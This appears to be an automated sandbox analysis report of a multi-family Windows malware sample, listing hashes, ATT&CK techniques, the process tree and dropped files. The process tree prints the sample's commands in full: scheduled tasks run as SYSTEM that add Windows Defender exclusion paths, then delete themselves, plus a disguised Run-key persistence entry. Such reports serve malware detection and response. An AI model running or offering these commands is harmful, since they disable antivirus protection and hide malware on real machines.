ae470e7ef26f38a3dd797a3d01856b4efe9dac1360b68ecf67a3a7bcc4351bb8

Analysis

max time kernel
150s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
05/11/2026, 11:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
Size 24.6MB
Sample261105-nwct7agc46
SHA256 ae470e7ef26f38a3dd797a3d01856b4efe9dac1360b68ecf67a3a7bcc4351bb8
MD5 d0f94b30140d709800db3111791476a4
SHA1 15705d40cf188baeaaea119d0c3ea1ddde8e7e96
SHA512 14a0240f4655e804e68bf45d95b96ea1e0b390bd999e8a89a3f9d98e545917987e36769097c66852e95302751d630af4a9f752a045ee3cbf38eccab9e96196c8
SSDEEP 98304:4s0VysGFMb1oG4QOye2F3+CMkBZ76Ya227tX:FsyT/QMIHQ
TLSH
T10A47B59AB740CD83F517E23694679BF02326ECB48BB1934321917F59BF7E1898EE1184
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\8Svwyp = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	5IevRM.exe

Executes dropped EXE 2 IoCs

pid	Process
4852	5IevRM.exe
3372	5IevRM.exe

Loads dropped DLL 2 IoCs

pid	Process
4852	5IevRM.exe
3372	5IevRM.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\8Svwyp\\5IevRM.exe\""	5IevRM.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4184	cmd.exe
2384	cmd.exe
5656	cmd.exe
3744	cmd.exe
6116	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	5IevRM.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4648	cmd.exe
1576	cmd.exe
1892	cmd.exe
2768	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	5IevRM.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	5IevRM.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
620	schtasks.exe
4700	schtasks.exe
1984	schtasks.exe
6012	schtasks.exe
3740	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4984	2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe
4852	5IevRM.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4852 wrote to memory of 4184	4852	5IevRM.exe	102
PID 4184 wrote to memory of 620	4184	cmd.exe	104
PID 4184 wrote to memory of 2456	4184	cmd.exe	106
PID 2768 wrote to memory of 2500	2768	cmd.exe	109
PID 4852 wrote to memory of 2384	4852	5IevRM.exe	110
PID 4184 wrote to memory of 1756	4184	cmd.exe	114
PID 2384 wrote to memory of 4700	2384	cmd.exe	117
PID 2384 wrote to memory of 5748	2384	cmd.exe	118
PID 2384 wrote to memory of 4888	2384	cmd.exe	120
PID 4852 wrote to memory of 5656	4852	5IevRM.exe	122
PID 5656 wrote to memory of 1984	5656	cmd.exe	124
PID 4852 wrote to memory of 3744	4852	5IevRM.exe	125
PID 5656 wrote to memory of 5992	5656	cmd.exe	127
PID 3744 wrote to memory of 6012	3744	cmd.exe	129
PID 5656 wrote to memory of 4956	5656	cmd.exe	130
PID 3744 wrote to memory of 2060	3744	cmd.exe	131
PID 3744 wrote to memory of 3972	3744	cmd.exe	132
PID 1576 wrote to memory of 972	1576	cmd.exe	134
PID 4648 wrote to memory of 5796	4648	cmd.exe	135
PID 4852 wrote to memory of 6116	4852	5IevRM.exe	136
PID 6116 wrote to memory of 3740	6116	cmd.exe	138
PID 6116 wrote to memory of 1192	6116	cmd.exe	139
PID 6116 wrote to memory of 5220	6116	cmd.exe	141
PID 1892 wrote to memory of 3704	1892	cmd.exe	143

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe
"C:\Users\Admin\AppData\Local\Temp\2026-11-04_d0f94b30140d709800db3111791476a4_amadey_cobalt-strike_coinminer_glassworm_icedid_luca-ste.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4984

C:\Users\Public\8Svwyp\5IevRM.exe
C:\Users\Public\8Svwyp\5IevRM.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\8Svwyp\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4184
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\8Svwyp\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:620
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2456
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4700
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5748
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4888
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5656
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1984
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5992
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6012
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2060
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:6116
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3740
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1192
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5220

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\8Svwyp" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\8Svwyp" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2500

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5336

C:\Users\Public\8Svwyp\5IevRM.exe
"C:\Users\Public\8Svwyp\5IevRM.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3372

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4648
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5796

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1576
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:972

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1892
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3704

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 2f54e0997cd33fd79457a2e34a6b34e5e6fc5fbcc7c1c104f158d02bef757ff2
MD5 4d909f57c09b06e38805c9f6e93bc6eb
SHA1 17c48eb7c55223b1035e5de8858345552c0d46dd
SHA512 7f80f3c252d75242f275b2a316d9026eaad9b9462c140b4f8e9325c006e1c5c26c5fd30a3cdec4b35af3366d978f700b4e1bb8fe2a97d22dfc96c5f86c7b9c7d
TLSH
T14831C6BB2FAD7A85CB3E8D5524CAF4352CD0E190DDE5185E9125C4E85F083722F5ED09
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 061770e4a2de0560e4006d27728325fc9a06cb2168c520a534cf3804ee29fb2e
MD5 85eed2471e1fe7559dc0e037bbc800ca
SHA1 6202215852f3693a6f2b85805b46406ad8949fba
SHA512 3f17ac561c0ed848ba21e0c5dd0eec837915d9ae51c99cfcc40561a3006c6df3cf57e3d1a77a2841c3900fdb52c5be16943817b56ac7151b9b37fc737a941825
TLSH
T1CE311896EE38140AFB488F7556C4D63BACF04470DDE489013A3EE5AA4909FFB8FC5445
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 a8b3ef749e279393529a58b4d76b36ceaaea9b8ef633c04dcb554b8e74085d03
MD5 d408e1fdfc3b18100eec61a80244c33e
SHA1 4846cb8a595539cc3110ad934c45ba4ccce8b342
SHA512 c09b6b9fdcaa6400420fea9923b0b86fc34ae3462ae1ec56f6d6d036f6d7fb23c333f124e75c1524bf7dc14d4e4b30d2231916351c0230b1ad0824bf109511c6
TLSH
T16DF0DC0C04BC812DF131CA3C8BCA34DA6EAFF2022449459406E2870CB562E033D5297D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 4fee190c1f1c73ef5da31ccfc434965b4f1e2c5fa9ed642b5317dbab8b4edae2
MD5 3317e692e1d428669d1f18ddd6cdafec
SHA1 3115105d71a557abba1859f662e7e18988d3ec21
SHA512 bd83a3f77a1dd37f7f26f75135f93252cc29aae0ef2cdbd3dd3a81ffdba47b0a42ebea56d2c4445cf266fe2bfc42375ec0fec113416ebe6770862af467c33155
TLSH
T183F0D42C86F9405BF07FC1B8C3C33D717535F6121046317949E603041E419006C42679
MD5 SHA1 SHA512 TLSH

Submit Download

5IevRM.exe

Path C:\Users\Public\8Svwyp\5IevRM.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\8Svwyp\UxEnhance64.dll
Size 3.1MB
SHA256 a031bacb97f0495db7162a012a3fcc14937cda074948b2786c214d3267dbc549
MD5 eb824f9aa58040c9500d59cb940a3636
SHA1 1d5a361a5890146aa21881276212b5777392d55b
SHA512 856cc2899bee1e5ab12df2c19065c2a43af7ebc901bd00c3c750d075028ec6c9cc2c7dbd2898c41c3a107cf1f38b7ca5909c9c3ed0464198b58aaf0fec45c5ec
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+/:P9m29xx3Tiqt06ox6+z2rNNrKo/
TLSH
T157E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\8Svwyp\adoresd.dat
Size 4.7MB
SHA256 3090df818fcd46c66238dd8c03dc1956ea3f7a4a2984fb7416b5c59df2867544
MD5 6d2e4c94d172209427deed6ec5830cd7
SHA1 a71dcd2378d8377b816745e338a417cf44ffc2a3
SHA512 cf02dae7c4ba99a279c8e994cfac07470caede065d61b741fac2905bab5c6edb509b644f95bcb4eae03b7441b2ae40c3f92855b4cf4d90dd07696b16c6cdf21a
SSDEEP 98304:kKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:kKClqhi0Cv54K2IVS0VQg
TLSH
T12E3633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\8Svwyp\msadox.tb
Size 8KB
SHA256 8c896ad4f8c3824f63a01044f008c6be53899e02864773fd708f99a4d40e9236
MD5 581082b033238782c985c140e7de82b8
SHA1 1132e040aa5c8d57da6d884bb2e44b739600f643
SHA512 ec8ab84051ec180309cfc3f933405903bf6cc2f4ade7843ba0c8c2efb8db98482c86d891f9edd5eed963fe827b0925b3d64d0c6e2298400c514564be24c8cf9a
SSDEEP 192:jfqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:TsZqZOXQ3uqvR2Kfzp
TLSH
T1F3029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3372-588-0x00000238775E0000-0x0000023877E67000-memory.dmp

Download

memory/3372-591-0x00007FFF25690000-0x00007FFF25692000-memory.dmp

Download

memory/3372-580-0x00000238775E0000-0x0000023877E67000-memory.dmp

Download

memory/3372-590-0x00000238775E0000-0x0000023877E67000-memory.dmp

Download

memory/3372-589-0x00000238775E0000-0x0000023877E67000-memory.dmp

Download

memory/3372-577-0x00007FFF07890000-0x00007FFF07DAE000-memory.dmp

Download

memory/3372-587-0x00000238775E0000-0x0000023877E67000-memory.dmp

Download

memory/3372-583-0x00000238775E0000-0x0000023877E67000-memory.dmp

Download

memory/3372-582-0x00007FFF256A0000-0x00007FFF256A2000-memory.dmp

Download

memory/4852-536-0x000001F1A7860000-0x000001F1A80E7000-memory.dmp

Download

memory/4852-544-0x000001F1A7860000-0x000001F1A80E7000-memory.dmp

Download

memory/4852-551-0x000001F1A7860000-0x000001F1A80E7000-memory.dmp

Download

memory/4852-559-0x000001F1A8530000-0x000001F1A85BA000-memory.dmp

Download

memory/4852-558-0x000001F1A8530000-0x000001F1A85BA000-memory.dmp

Download

memory/4852-557-0x000001F1A8530000-0x000001F1A85BA000-memory.dmp

Download

memory/4852-556-0x000001F1A8530000-0x000001F1A85BA000-memory.dmp

Download

memory/4852-555-0x000001F1A56E0000-0x000001F1A572E000-memory.dmp

Download

memory/4852-564-0x000001F1A7860000-0x000001F1A80E7000-memory.dmp

Download

memory/4852-565-0x000001F1A7860000-0x000001F1A80E7000-memory.dmp

Download

memory/4852-545-0x000001F1A7860000-0x000001F1A80E7000-memory.dmp

Download

memory/4852-546-0x000001F1A7860000-0x000001F1A80E7000-memory.dmp

Download

memory/4852-543-0x000001F1A7860000-0x000001F1A80E7000-memory.dmp

Download

memory/4852-539-0x000001F1A7860000-0x000001F1A80E7000-memory.dmp

Download

